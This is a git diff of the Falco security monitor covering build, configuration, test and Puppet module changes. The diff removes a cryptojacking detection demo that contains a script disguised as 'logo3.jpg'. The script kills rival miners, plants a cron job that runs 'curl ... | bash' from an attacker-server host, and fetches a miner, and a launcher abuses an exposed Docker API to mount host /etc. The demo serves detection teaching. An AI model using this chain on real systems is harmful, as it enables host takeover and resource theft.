Compare commits

..

8 Commits

Author SHA1 Message Date
Mark Stemm
94df00e512 Merge branch 'dev' 2018-01-18 09:07:00 -08:00
Mark Stemm
3ee76637f4 Merge branch 'dev' 2018-01-17 20:30:28 -08:00
Mark Stemm
e8aee19f6c Merge remote-tracking branch 'origin/dev', 0.8.1 2017-10-10 10:49:27 -07:00
Mark Stemm
74556e5f6e Merge branch 'dev' 2017-10-09 17:17:12 -07:00
Mark Stemm
809d20c294 Merge pull request #246 from draios/dev
Merging for 0.7.0
2017-05-30 13:30:39 -07:00
Mark Stemm
b0ae29c23a Merge branch 'dev' 2017-05-15 11:12:11 -07:00
Mark Stemm
d1b6b2be87 Merge pull request #229 from draios/dev
Merging for 0.6.0
2017-03-29 16:00:06 -07:00
Mark Stemm
e00181d553 Merge pull request #174 from draios/dev
Merging for 0.5.0
2016-12-22 13:25:32 -08:00
46 changed files with 434 additions and 1243 deletions

View File

@@ -17,7 +17,6 @@ install:
- curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
- tar -zxvf avocado-36.0-tar.gz
- cd avocado-36.0lts
- sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
- sudo -H pip install -r requirements.txt
- sudo python setup.py install
- cd ../falco

View File

@@ -14,7 +14,8 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
@@ -23,11 +24,18 @@ RUN apt-get update \
ca-certificates \
gcc \
gcc-5 \
gdb && rm -rf /var/lib/apt/lists/*
gcc-4.9 && rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

View File

@@ -14,7 +14,8 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
@@ -23,11 +24,19 @@ RUN apt-get update \
ca-certificates \
gcc \
gcc-5 \
gcc-4.9 \
dkms && rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules

View File

@@ -14,7 +14,8 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
@@ -22,11 +23,19 @@ RUN apt-get update \
ca-certificates \
gnupg2 \
gcc \
gcc-5 && rm -rf /var/lib/apt/lists/*
gcc-5 \
gcc-4.9 && rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \

View File

@@ -1,117 +0,0 @@
# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

View File

@@ -1,14 +0,0 @@
server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

View File

@@ -1 +0,0 @@
{"config": "some-bitcoin-miner-config-goes-here"}

View File

@@ -1,64 +0,0 @@
#!/bin/sh
echo "***Checking for existing Miner program"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Killing competing Miner programs"
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/sshd
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
echo "***Reinstalling cron job to run Miner program"
crontab -r || true && \
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true
echo "***Configuring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Configuring system for Miner program"
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Running Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "***Ensuring Miner program is alive"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Reconfiguring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Reconfiguring system for Miner program"
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Restarting Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

View File

@@ -1,8 +0,0 @@
#!/bin/bash
while true; do
echo "Mining bitcoins..."
sleep 60
done

View File

@@ -1,41 +0,0 @@
version: '3'
volumes:
host-filesystem:
docker-socket:
services:
host-machine:
privileged: true
build:
context: ${PWD}/host-machine
dockerfile: ${PWD}/host-machine/Dockerfile
volumes:
- host-filesystem:/etc
- docker-socket:/var/run
ports:
- "2375:2375"
depends_on:
- "falco"
attacker-server:
image: nginx:latest
ports:
- "8220:8220"
volumes:
- ${PWD}/attacker_files:/usr/share/nginx/html
- ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- "falco"
falco:
image: sysdig/falco:latest
privileged: true
volumes:
- docker-socket:/host/var/run
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

View File

@@ -1,7 +0,0 @@
{
"Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/etc:/mnt/etc"]
}
}

View File

@@ -1,12 +0,0 @@
FROM docker:stable-dind
RUN set -ex \
&& apk add --no-cache \
bash curl
COPY start-cron-and-dind.sh /usr/local/bin
ENTRYPOINT ["start-cron-and-dind.sh"]
CMD []

View File

@@ -1,11 +0,0 @@
#!/bin/sh
# Start docker-in-docker, but backgrounded with its output still going
# to stdout/stderr.
dockerd-entrypoint.sh &
# Start cron in the foreground with a moderate level of debugging to
# see job output.
crond -f -d 6

View File

@@ -1,14 +0,0 @@
#!/bin/sh
echo "Pulling alpine:latest image to docker-in-docker instance"
curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
echo "Creating container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
echo "Running container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'

View File

@@ -19,12 +19,14 @@ spec:
image: sysdig/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
readOnly: true
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true

View File

@@ -18,12 +18,14 @@ spec:
image: sysdig/falco:latest
securityContext:
privileged: true
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o", "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o", "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
readOnly: true
- mountPath: /host/dev
name: dev-fs
readOnly: true
- mountPath: /host/proc
name: proc-fs
readOnly: true

View File

@@ -1,3 +0,0 @@
# Example Puppet Falco Module
This contains an example [Puppet](https://puppet.com/) module for Falco.

View File

@@ -1,7 +0,0 @@
source 'https://rubygems.org'
puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
gem 'puppet', puppetversion
gem 'puppetlabs_spec_helper', '>= 0.1.0'
gem 'puppet-lint', '>= 0.3.2'
gem 'facter', '>= 1.7.0'

View File

@@ -1,241 +0,0 @@
# falco
#### Table of Contents
1. [Overview](#overview)
2. [Module Description - What the module does and why it is useful](#module-description)
3. [Setup - The basics of getting started with falco](#setup)
* [What falco affects](#what-falco-affects)
* [Beginning with falco](#beginning-with-falco)
4. [Usage - Configuration options and additional functionality](#usage)
5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
5. [Limitations - OS compatibility, etc.](#limitations)
6. [Development - Guide for contributing to the module](#development)
## Overview
Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdigs system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
#### What kind of behaviors can Falco detect?
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
- A shell is run inside a container
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
- A server process spawns a child process of an unexpected type
- Unexpected read of a sensitive file (like `/etc/shadow`)
- A non-device file is written to `/dev`
- A standard system binary (like `ls`) makes an outbound network connection
## Module Description
This module configures falco as a systemd service. You configure falco
to send its notifications to one or more output channels (syslog,
files, programs).
## Setup
### What falco affects
This module affects the following:
* The main falco configuration file `/etc/falco/falco.yaml`, including
** Output format (JSON vs plain text)
** Log level
** Rule priority level to run
** Output buffering
** Output throttling
** Output channels (syslog, file, program)
### Beginning with falco
To have Puppet install falco with the default parameters, declare the falco class:
``` puppet
class { 'falco': }
```
When you declare this class with the default options, the module:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
## Usage
### Enabling file output
To enable file output, set the `file_output` hash, as follows:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
### Enabling program output
To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
``` puppet
class { 'falco':
json_output => 'true',
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Reference
* [**Public classes**](#public-classes)
* [Class: falco](#class-falco)
### Public Classes
#### Class: `falco`
Guides the basic setup and installation of falco on your system.
When this class is declared with the default options, Puppet:
* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
* Starts the falco service.
You can simply declare the default `falco` class:
``` puppet
class { 'falco': }
```
###### `rules_file`
An array of files for falco to load. Order matters--the first file listed will be loaded first.
Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
##### `json_output`
Whether to output events in json or text.
Default: `false`
##### `log_stderr`
Send falco's logs to stderr. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `false`
##### `log_syslog`
Send falco's logs to syslog. Note: this is not notifications, this is
logs from the falco daemon itself.
Default: `true`
##### `log_level`
Minimum log level to include in logs. Note: these levels are
separate from the priority field of rules. This refers only to the
log level of falco's internal logging. Can be one of "emergency",
"alert", "critical", "error", "warning", "notice", "info", "debug".
Default: `info`
##### `priority`
Minimum rule priority level to load and run. All rules having a
priority more severe than this level will be loaded/run. Can be one
of "emergency", "alert", "critical", "error", "warning", "notice",
"info", "debug".
Default: `debug`
##### `buffered_outputs`
Whether or not output to any of the output channels below is
buffered.
Default: `true`
##### `outputs_rate`/`outputs_max_burst`
A throttling mechanism implemented as a token bucket limits the
rate of falco notifications. This throttling is controlled by the following configuration
options:
* `outputs_rate`: the number of tokens (i.e. right to send a notification)
gained per second. Defaults to 1.
* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
##### `syslog_output
Controls syslog output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `true`.
Example:
``` puppet
class { 'falco':
syslog_output => {
'enabled' => 'true',
},
}
```
##### `file_output`
Controls file output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `filename`: Notifications will be written to this file.
Example:
``` puppet
class { 'falco':
file_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'filename' => '/tmp/falco-events.txt'
},
}
```
##### `program_output
Controls program output for notifications. Value: a hash, containing the following:
* `enabled`: `true` or `false`. Default: `false`.
* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
* `program`: Notifications will be written to this program.
Example:
``` puppet
class { 'falco':
program_output => {
'enabled' => 'true',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
}
```
## Limitations
The module works where falco works as a daemonized service (generally, Linux only).
## Development
For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

View File

@@ -1,18 +0,0 @@
require 'rubygems'
require 'puppetlabs_spec_helper/rake_tasks'
require 'puppet-lint/tasks/puppet-lint'
PuppetLint.configuration.send('disable_80chars')
PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
desc "Validate manifests, templates, and ruby files"
task :validate do
Dir['manifests/**/*.pp'].each do |manifest|
sh "puppet parser validate --noop #{manifest}"
end
Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
end
Dir['templates/**/*.erb'].each do |template|
sh "erb -P -x -T '-' #{template} | ruby -c"
end
end

View File

@@ -1,13 +0,0 @@
# == Class: falco::config
class falco::config inherits falco {
file { '/etc/falco/falco.yaml':
notify => Service['falco'],
ensure => file,
owner => 'root',
group => 'root',
mode => '0644',
content => template('falco/falco.yaml.erb'),
}
}

View File

@@ -1,31 +0,0 @@
class falco (
$rules_file = [
'/etc/falco/falco_rules.yaml',
'/etc/falco/falco_rules.local.yaml'
],
$json_output = 'false',
$log_stderr = 'false',
$log_syslog = 'true',
$log_level = 'info',
$priority = 'debug',
$buffered_outputs = 'true',
$outputs_rate = 1,
$outputs_max_burst = 1000,
$syslog_output = {
'enabled' => 'true'
},
$file_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'filename' => '/tmp/falco_events.txt'
},
$program_output = {
'enabled' => 'false',
'keep_alive' => 'false',
'program' => 'curl http://some-webhook.com'
},
) {
include falco::install
include falco::config
include falco::service
}

View File

@@ -1,6 +0,0 @@
# == Class: falco::install
class falco::install inherits falco {
package { 'falco':
ensure => installed,
}
}

View File

@@ -1,11 +0,0 @@
# == Class: falco::service
class falco::service inherits falco {
service { 'falco':
ensure => running,
enable => true,
hasstatus => true,
hasrestart => true,
require => Package['falco'],
}
}

View File

@@ -1,14 +0,0 @@
{
"name": "sysdig-falco",
"version": "0.1.0",
"author": "sysdig",
"summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
"license": "GPLv2",
"source": "https://github.com/draios/falco",
"project_page": "https://github.com/draios/falco",
"issues_url": "https://github.com/draios/falco/issues",
"dependencies": [
{"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
]
}

View File

@@ -1,7 +0,0 @@
require 'spec_helper'
describe 'falco' do
context 'with defaults for all parameters' do
it { should contain_class('falco') }
end
end

View File

@@ -1 +0,0 @@
require 'puppetlabs_spec_helper/module_spec_helper'

View File

@@ -1,96 +0,0 @@
####
# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
####
# File(s) containing Falco rules, loaded at startup.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
# if it doesn't exist. If you want to customize the set of rules, add
# your customizations to falco_rules.local.yaml.
#
# The files will be read in the order presented here, so make sure if
# you have overrides they appear in later files.
rules_file:
<% Array(@rules_file).each do |file| -%>
- <%= file %>
<% end -%>
# Whether to output events in json or text
json_output: <%= @json_output %>
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: <%= @log_stderr %>
log_syslog: <%= @log_syslog %>
# Minimum log level to include in logs. Note: these levels are
# separate from the priority field of rules. This refers only to the
# log level of falco's internal logging. Can be one of "emergency",
# "alert", "critical", "error", "warning", "notice", "info", "debug".
log_level: <%= @log_level %>
# Minimum rule priority level to load and run. All rules having a
# priority more severe than this level will be loaded/run. Can be one
# of "emergency", "alert", "critical", "error", "warning", "notice",
# "info", "debug".
priority: <%= @priority %>
# Whether or not output to any of the output channels below is
# buffered. Defaults to true
buffered_outputs: <%= @buffered_outputs %>
# A throttling mechanism implemented as a token bucket limits the
# rate of falco notifications. This throttling is controlled by the following configuration
# options:
# - rate: the number of tokens (i.e. right to send a notification)
# gained per second. Defaults to 1.
# - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
#
# With these defaults, falco could send up to 1000 notifications after
# an initial quiet period, and then up to 1 notification per second
# afterward. It would gain the full burst back after 1000 seconds of
# no activity.
outputs:
rate: <%= @outputs_rate %>
max_burst: <%= @outputs_max_burst %>
# Where security notifications should go.
# Multiple outputs can be enabled.
<% unless @syslog_output.nil? -%>
syslog_output:
enabled: <%= @syslog_output['enabled'] %>
<% end -%>
# If keep_alive is set to true, the file will be opened once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
<% unless @file_output.nil? -%>
file_output:
enabled: <%= @file_output['enabled'] %>
keep_alive: <%= @file_output['keep_alive'] %>
filename: <%= @file_output['filename'] %>
<% end -%>
# Possible additional things you might want to do with program output:
# - send to a slack webhook:
# program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
# - logging (alternate method than syslog):
# program: logger -t falco-test
# - send over a network connection:
# program: nc host.example.com 80
# If keep_alive is set to true, the program will be started once and
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
<% unless @program_output.nil? -%>
program_output:
enabled: <%= @program_output['enabled'] %>
keep_alive: <%= @program_output['keep_alive'] %>
program: <%= @program_output['program'] %>
<% end -%>

View File

@@ -1,12 +0,0 @@
# The baseline for module testing used by Puppet Labs is that each manifest
# should have a corresponding test manifest that declares that class or defined
# type.
#
# Tests are then run by using puppet apply --noop (to check for compilation
# errors and view a log of events) or by fully applying the test in a virtual
# environment (to compare the resulting system state to the desired state).
#
# Learn more about module testing here:
# http://docs.puppetlabs.com/guides/tests_smoke.html
#
include falco

View File

@@ -14,11 +14,6 @@ rules_file:
# Whether to output events in json or text
json_output: false
# When using json output, whether or not to include the "output" property
# itself (e.g. "File below a known binary directory opened for writing
# (user=root ....") in the json output.
json_include_output_property: true
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: true

File diff suppressed because it is too large Load Diff

View File

@@ -30,7 +30,6 @@ class FalcoTest(Test):
self.trace_file = os.path.join(self.basedir, self.trace_file)
self.json_output = self.params.get('json_output', '*', default=False)
self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
self.priority = self.params.get('priority', '*', default='debug')
self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
@@ -250,11 +249,7 @@ class FalcoTest(Test):
for line in res.stdout.splitlines():
if line.startswith('{'):
obj = json.loads(line)
if self.json_include_output_property:
attrs = ['time', 'rule', 'priority', 'output']
else:
attrs = ['time', 'rule', 'priority']
for attr in attrs:
for attr in ['time', 'rule', 'priority', 'output']:
if not attr in obj:
self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
